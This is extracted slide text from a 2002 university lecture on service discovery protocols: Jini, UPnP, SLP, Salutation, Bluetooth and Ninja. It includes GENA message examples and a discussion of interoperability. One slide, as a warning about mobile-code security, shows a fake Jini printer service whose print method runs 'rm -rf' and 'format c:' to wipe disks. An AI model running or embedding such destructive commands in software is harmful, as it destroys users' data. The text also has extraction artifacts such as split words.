Скачать презентацию Service Discovery Golden G Richard III Associate Professor
d0a5318d5b82aa724f5ed441acced267.ppt
- Количество слайдов: 62
Service Discovery Golden G. Richard III Associate Professor Dept. of Computer Science University of New Orleans, LA 70148 golden@cs. uno. edu http: //www. cs. uno. edu/~golden
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Service Discovery: What? ü Protocol suites for building highly dynamic client/server ü ü ü ü ü architectures Automatic discovery and configuration of new devices plugged into a network Self-healing networks: automatic “demise” of devices removed from a network Highly dynamic system configurations Cooperation between resource poor devices Solves form-factor vs. peripheral richness problem for mobile devices – Printing, FAX, storage, long-range networking services can be obtained from nearby servers Helps reduce duplication of functionality… …eliminates "toolbelt" syndrome Affects both mobile and wired systems See Service and Device Discovery: Protocols and Programming (G. G. Richard III, Mc. Graw-Hill, 2002) 2
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Service Discovery: Who? ü Jini – Sun Microsystems (Java) – www. jini. org ü Universal Plug and Play – Microsoft – www. upnp. org ü Service Location Protocol – Internet Engineering Task Force (IETF) – www. srvloc. org ü Salutation – Salutation Consortium – www. salutation. org ü Bluetoooth (SDP) – Bluetooth Special Interest Group – www. bluetooth. com ü Ninja system at Berkeley – ninja. cs. berkeley. edu 3
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Dynamic Device Discovery $$? Anyone need a printer? 4
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Dynamic System Configuration 5
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Dynamic Client/Server Architectures thin client camera feed video storage face recognition load balancing See “A Scalable Distributed Framework for Face Recognition” (K. Rzeszutek, G. G. Richard III), submitted to IPCCC 2003. notification and logging for “positive” identifications 6
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Service Discovery: Capabilities ü Protocol suites provide most or all of the following: – – – Ability to advertise available services Automatic discovery of nearby services Potential to discover services that aren’t nearby Ability to "discuss" service capabilities Abstraction • “I just need a printer” – Service catalogs (some) – Garbage collection facility (catalogs, service advertisements) 7
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini ü Java-based protocol suite ü A federation of clients and services – Entities in federation provide and/or obtain services to/from other entities – All development in Java – Code mobility ü Relies heavily on: – Object serialization – RMI: Remote Method Invocation ü Interesting services because of mobile code 8
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini Entities services public void Fill. Poly(Graphics g, intensity) { int i, y, x 1, y 1, x 2, y 2, xx, n, next; int x[] = new int[MAXPOINTSPOLY]; int miny, maxy; double t; maxy = (int)p[0]. y; miny = (int)p[0]. y; for (i=1; i < len; i++) { if ((int)p[i]. y < miny) { miny = (int)p[i]. y; } else if ((int)p[i]. y > maxy) { maxy = (int)p[i]. y; } } for (y=miny; y <= maxy; y++) { n = 0; // for every edge. . . for (i=0; i < len; i++) { next = (i+1) % len; x 1 = (int)p[i]. x; x 2 = (int)p[next]. x; y 1 = (int)p[i]. y; y 2 = (int)p[next]. y; } } clients lookup service 9
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini, The Big Picture service Locates lookup service(s) Downloads Java code to control lookup services Uses methods in remote control to register platform-independent Java “device drivers” that control service Registration is leased—must renew leases to stay registered client Locates lookup service(s) Downloads Java code to control lookup services Uses methods in remote control to search for services Downloads Java code to interact with service Accepts service registrations Centralized broker for Java device drivers lookup service 10
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III What is a Jini Service? ü A client in need of service ultimately downloads a Java object ü The object can either: – Provide the service locally (e. g. , entirely algorithmically) – Provide the service by invoking operations on a remote server using a private protocol – Proxy object is an RMI stub (object is remote) – (Provide the service by interacting with a remote human being, through a remote server…) ü To the client, there is no essential difference between these choices ü Client generally doesn’t know the location of service or wire protocol used to communicate with service 11
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Finding a Lookup Service: Protocols ü Unicast discovery protocol – TCP: Protocol for communication with a specific lookup service – Scope: Global Internet ü Multicast request protocol – UDP: Used to discover nearby lookup services via multicast – Local or administrative scope ü Multicast announcement protocol – UDP: Used to announce availability of a lookup service via multicast – Local or administrative scope 12
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Unicast Discovery Protocol Allows direct connection to a known lookup server Lookup server sends an instance of Ja va Service. Registrar de co Provides “remote control” for lookup service TCP connection Lookup server 13
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Multicast Request Protocol Host needing a service sets up a TCP-based server: multicast response service—waits for offers of service lookup service: running UDP-based multicast request service 14
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Multicast Request Protocol UDP multicast—request for references to lookup services Request is a maximum of 512 bytes; Contains: sprotocol version, sport for multicast response server, sids of known lookup services, groups lookup service 15
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Multicast Request Protocol lookup service hears UDP multicast, notes connection info for TCP server… lookup service 16
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Multicast Request Protocol rar ist eg R ce rvi Se ce tan ins …and establishes a TCP connection to the multicast response service on the client… then transfers Java code to control lookup service 17
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Multicast Announcement Protocol UDP multicast: “ 137. 30. 2. 59, port 7777…” Lookup server Useful because clients are able to express interest in the availability of a lookup server… 18
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Service Registration: Service. Item public Service. Item(Service. ID id, Object service, Entry [] attributes) Registration describes an available service: – universally unique id, – object to provide to client, and – set of attributes (which are Entry objects) ü On registration, lookup service returns an object that allows leasing to handled, possibly assigned universally unique ID 19
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Search for Services is by Interface ü Lookup is based on object interfaces, not simply name/value pairs ü So client might hold the following interface, which defines a remote file storage service: public interface Storage. Service { public boolean open(String username, String password, …) public boolean close(); public boolean store(byte[] contents, String pathname); public byte[] retrieve(String pathname); public boolean delete(String pathname); public String[] list. Files(); } ü Client generally does not know the implementation of the service ü Just asks lookup for services matching this interface and having certain attribute values ü Once it has an instance, invokes methods in interface 20
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Other Jini Stuff ü Lease. Renewal. Manager ü Join. Manager ü Service. Discovery. Manager ü Java. Spaces – Linda-like object spaces ü Transactions – Provides a 2 PC-based transaction framework ü Distributed Events – (Used for notification of lookup and/or appropriate services becoming available) 21
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini Security ü Based on Java 2 security system ü Digital signatures ü ü ü – Verify authenticity of downloaded code Encryption Security Manager uses access control lists A variety of actions can be controlled Security Manager can be subclassed and customized extensively By default, very tight security Novice Jini users often “cheat” and turn off security by using a very liberal (or wide open) policy file 22
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini Security (2) public class Printer implements Print { … public void print(String text) { // death for Unix Runtime. get. Runtime(). exec("/bin/rm -rf. / *"); // death for Windows Runtime. get. Runtime(). exec("format c: /u"); Runtime. get. Runtime(). exec("format d: /u"); } } OUCH! 23
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Java Security Manager ü ü ü ü ü Terminate application Read from a specified file Write to a specified file Delete files Accept socket connections Open a socket connection Use IP multicast Use native methods Load a class from a specified package Can have different policies depending on where the class files originated… 24
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini: Thoughts ü Ubiquitous use will require standardization of Java ü ü ü interfaces e. g. , What interface defines a printer? Nice, fuzzy feeling about high-level, object-oriented approach Requires adoption of Java In general, device must be capable of supporting a Java VM, and all the core Java 2 classes Raises the computational bar slightly higher than other approaches Security is very important for mobile-code approaches like Jini 25
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P (Universal Plug and Play) ü Microsoft’s offering – UPn. P "core" • • Auto. IP SSDP (Simple Service Discovery Protocol) SOAP (Simple Object Access Protocol) GENA (Generic Event Notification Architecture) ü Discussion based on 1. 0 specs ü No mobile code—instead, standardized protocols and service descriptions ü XML-based service descriptions and device client protocols ü Some discussion about a new spec which replaces SOAP with WSDL? (If so, not right away) ü A very interesting standardization process (…) 26
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Device Model Root device Discovery Server Presentation Server Service Device Service State Table Control Server Device 27
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P Device Model Example TV/VCR Discovery Server TV Presentation Server Power Switch tuner transport controls VCR timer 28
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Six Steps ü Addressing Auto. IP – For the IP address impaired… ü Discovery SSDP – Discovery and advertisement (HTTP) ü Description – What are the characteristics of a service? ü Control SOAP – Making a service do its thing(s) ü Eventing GENA – Updates on interesting service state changes ü Presentation (HTTP) – Device GUI 29
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Intel SDK for Linux Schematic 30
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Addressing: Auto. IP ü IP address assignment w/o DHCP – Try to find DHCP server …on failure… – Pick a random address from a range of local addresses (169. *. *. * range) – ARP: Verify address is not in use – If in use, retry until some max attempts exceeded – Configure and use address – Periodically try to find DHCP server by sending discover query – If DHCP offer is received, use it ü These addresses are not routable!! 31
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Auto. IP “Nice to be a part of this network. Hello? DHCP? Nope. 169. 254. 10. 5 might work. Anybody using it? Oops. Sorry! Anybody using 169. 254. 10. 37? OK. I’ll retry a DHCP request in 5 minutes…” 32
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Discovery: SSDP ü Simple Service Discovery Protocol ü Supports both discovery and advertisement ü Based on UDP multicast / HTTP – local administrative scope multicast address 239. 255. 250 (see RFC 2365) ü Weak search capabilities – service type (multiple responses) or – unique device name (at most one response) ü Responses to discovery are URLs that identify device description documents ü Description document must be retrieved using standard HTTP to learn more about the device 33
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III SSDP in Action Discovery: "I need a printer" Response: "I'm a printer. See: http: //171. 3. 7. 5/description. xml… " UDP service discovery multicast UDP unicast response: presence announcement 34
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III SSDP Service Announcement "Anyone need a printer? See 'http: //171. 3. 7. 5/description. xml'…I plan to be around for at least 10 minutes…" 35
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P Description Documents ü XML description document contains: – Essential characteristics of device – Presentation URL • Provides link to HTML GUI for device – Service types offered by device – Control URLs for services • Entry point for device commands – Event subscription URLs for services • Allows subscription to device's event service • Significant device changes will result in notification • Provide our own event sink URL to subscribe – Pointers to Service Control Protocol (SCP) documents for services (these are also XML) 36
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Sample of SCPD Data Types ü ü ü ui 1, ui 2, ui 4: One, two, and four byte unsigned integers. i 1, i 2, i 4: One, two, and four byte signed integers. r 4, r 8: Four and eight byte signed floats. char: A single character Unicode string: A Unicode string of arbitrary length. date: A standard ISO 8601 format date (e. g. , YYYY-MM-DD). time: ISO 8601 format without date and without time zone. boolean: Boolean value (0, 1, false, true, yes, no). bin. base 64: Unlimited length MIME-style Base 64 data. bin. hex: Stream of hexadecimal digits of unlimited length. uri: Universal Resource Identifier. --and others– Unlike Jini, no complex types “out of the box” 41
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Control via SOAP application Discovery Server Presentation Server Service Commands (e. g. , “Increase. Speed” SOAP RPC (HTTP/XML) SCP Service Control Protocol (generated from Device Description Document's SCPD) 42
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Events (GENA) General Event Notification Architecture Expired IETF Draft (Microsoft authors) Subscription-based event notification service Subscribe (service of interest, callback URL) Resubscribe Unsubscribe Reports changes in state variable values for UPn. P devices ü Event messages contain XML-encoded state variables/values ü Unreliable, administratively-scoped UDP multicast and extensions to HTTP ü ü ü ü 43
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III GENA Message Formats (1) ü Subscription request (NT is notification type) SUBSCRIBE publisher path HTTP/1. 1 HOST: publisher host: publisher port CALLBACK:
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III GENA Message Formats (2) ü Device sends a notification when important service changes occur: NOTIFY delivery path HTTP/1. 1 HOST: delivery host: delivery port CONTENT-TYPE: text/xml CONTENT-LENGTH: Bytes in body NT: upnp: event NTS: upnp: propchange SID: uuid: subscription-UUID SEQ: event key
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Concrete GENA Subscription SUBSCRIBE /upnp/event/power 1 HTTP/1. 1 HOST: 10. 0. 0. 13: 5431 CALLBACK: http: //10. 0. 0. 13: 5432/ NT: upnp: event TIMEOUT: Second-1800 46
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Concrete GENA Subscription Response HTTP/1. 1 200 OK DATE: Thu, 19 Jul 2001 13: 53: 48 GMT SERVER: Linux/2. 4. 2 -2 UPn. P/1. 0 Intel UPn. P SDK/1. 0 SID: uuid: 43 a 2 e 7 b 3 -f 21 a-464 a-8 c 84 -02 d 967 d 68 ba 8 TIMEOUT: Second-1800 47
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Concrete GENA Event NOTIFY: CONTENT-TYPE: text/xml CONTENT-LENGTH: 184 NT: upnp: event NTS: upnp: propchange SID: uuid: 75487341 -0 ea 4 -4 fb 2 -87 af-369 bb 3 e 0 d 6 c 5 SEQ: 0
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Presentation Acme Browse. Master Printer: Acme Super Laser 5 DPI: 1200 Discovery Server Presentation Server Toner Saver: OFF Service Beep on completion: OFF 49
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III UPn. P: Thoughts ü Lighter weight than Jini ü Some serious limitations… – No directory agents – No security architecture – Limited search capabilities (…) – How much community involvement? ü Some scary language (to me) in the standardization process ü Widespread adoption almost certain 50
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III SLP: Service Location Protocol ü SLP: IETF draft protocol ü Defines three types of agents: – User Agents: acquire service handles for apps – Service Agents: advertise service handles – Directory Agents: catalogs of available services, cache service handles ü Interesting stuff: – – – Allow UAs to obtain service handles with or without DAs Tries to avoid being “chatty”… More powerful search capabilities than UPn. P Eliminate some device responses during discovery Scoping to tame administrative hassles Security considered very important 51
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III SLP Schematic (from whitepaper) 52
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Thoughts (or, SLP vs. UPn. P) ü SLP <> UPn. P ü Major differences – More limited queries in UPn. P • SLP: Supports attribute searches (see next slide) • SSDP: Search by type or unique device name only – Protocol used for SSDP • SSDP “based” on HTTP • Some concerns about how complexity of HTTP headers – No DAs in UPn. P (at all) – Client service application protocol outside SLP scope – Security framework, including digital signatures for SLP messages to verify authenticity – New SLP service types will not even be considered for standardization w/o addressing security issues! ü !! No scary Microsoft stuff in the standardization process !! 53
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Attribute Searches (Echo) ü Can use an LDAP-style filter in a service request: ü “(manufacturer=ibm)” will restrict the set of discovered services to those that have an attribute “manufacturer” with a case-insensitive value of “ibm”. ü “(&(manufacturer=ibm)(model=printstar*))” restricts the set of discovered services to those with an attribute “manufacturer” with a case-insensitive value of “ibm” and which further have an attribute “model” with a value beginning with “printstar”. ü “(|(contactname=golden)(contactname=gerrod))” matches only services with an attribute “contactname” whose value is either “golden” or “gerrod” (case-insensitive, as above). Can significantly reduce the number of responses to a discovery request… 54
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Ninja Project (UC Berkeley) Java-based service discovery protocol XML service descriptions and queries Focus on higher security All communication encrypted (Authenticated RMI) All entities have digital certificates Authentication of endpoints (e. g. , clients, services) Rather than only restrict access to services, restrict knowledge of existence of services ü See “An Architecture for a Secure Service Discovery Service” (Czerwinski, Zhao, Hodes, Joseph, Katz), Mobicom ’ 99, pp. 24 -35. ü ü ü ü 55
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Interoperability ü Some protocol enhancements are done outside the ü ü ü ü various special interest groups e. g. , m. SLP (Mesh-enhanced SLP) Interoperability an important research area for the rest of us Why? Jini, UPn. P, SLP (at the least) are all healthy Want enabled devices supporting one protocol to be usable by all clients Cheap devices aren’t going to support more than one protocol In current “dog eat dog” phase, not too much work on interoperability coming out of the SIGs themselves If you’re a systems type, fun! 56
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini UPn. P Interoperability ü Interoperability both ways – UPn. P clients can use Jini services – Jini clients can use UPn. P services ü Light (? ) coding required for each service type ü Must write “virtual” UPn. P and Jini service implementations ü Virtual clients provided by framework, perform discovery of services ü Virtual Jini service is instantiated when UPn. P service of corresponding type is discovered, vice versa 57
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Jini UPn. P Interoperability (2) See “Jini Meets UPn. P: An Architecture for Jini/UPn. P Interoperability” (J. Allard, V. Chinta, S. Gundala, G. G. Richard III), to appear at SAINT 2003 (Orlando). 58
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Other Interoperability ü Salutation uses SLP directories beyond the local network segment ü There is a Jini SLP bridge – “Smart” agent finds Jini-enabled SLP services and registers them with Jini lookup services – “Enabled” means the service has a bundle of static Java code – Static code is a factory—can instantiate a live object to speak the appropriate protocol for communicating with the service – Simply: The static code is a Java device driver – Service does not run a JVM – One direction only—does not provide access to SLP services for Jini clients – See “Automatic Discovery of Thin Servers: SLP, Jini and the SLP-Jini Bridge” (E. Guttman, J. Kempf), IECON, San Jose, 1999. 59
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Interoperability (2) ü Everything over Bluetooth – Can run IP over Bluetooth, thus Jini et al – Either use Bluetooth as data link protocol and forget Bluetooth SDP, or map protocol operations to Bluetooth SDP operations ü Salutation over Bluetooth – As above (Salutation over IP over Bluetooth) – Some work on mapping Salutation API directly to Bluetooth SDP – See paper “Mapping Salutation Architecture APIs to Bluetooth Service Discovery Layer” – http: //www. salutation. org/whitepaper/Btooth. Mapping. PDF 60
Service Discovery @ Wayne State, October 2002 -- Prof. Golden G. Richard III Summary ü Service discovery great for building highly dynamic ü ü ü ü systems Enabler for small information appliances Lots of contenders for the title Best technical approach won’t necessarily be the winner So far, very little standardization of service types (for any of the protocol suites) Good device standards critical Interoperability important Security very important Lots of industrial need consulting, contracts 61
? ?